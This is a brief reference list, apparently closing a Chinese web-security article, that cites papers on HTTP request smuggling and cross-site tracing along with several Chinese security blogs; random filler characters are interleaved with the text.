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4 L- f5 s1 B: d, G* S6 o( U本文引用文档资料:4 d4 H7 a0 I: F/ O- @; @7 _ N$ c6 s
q2 N9 Z5 ~4 `/ y"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)$ X7 \& V( N2 L& Y* C
Other XmlHttpRequest tricks (Amit Klein, January 2003)3 f7 S( Q3 j/ Q6 U- s, g* n2 Q
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
6 \& ?, z: y( y! ?5 T# ~& Shttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog/ f/ X6 g1 m0 x: n: q0 q/ ]: S
空虚浪子心BLOG http://www.inbreak.net) ~( ?* P" r, s$ m" _
Xeye Team http://xeye.us/3 ^) _' A9 L3 C( O4 i: v, O
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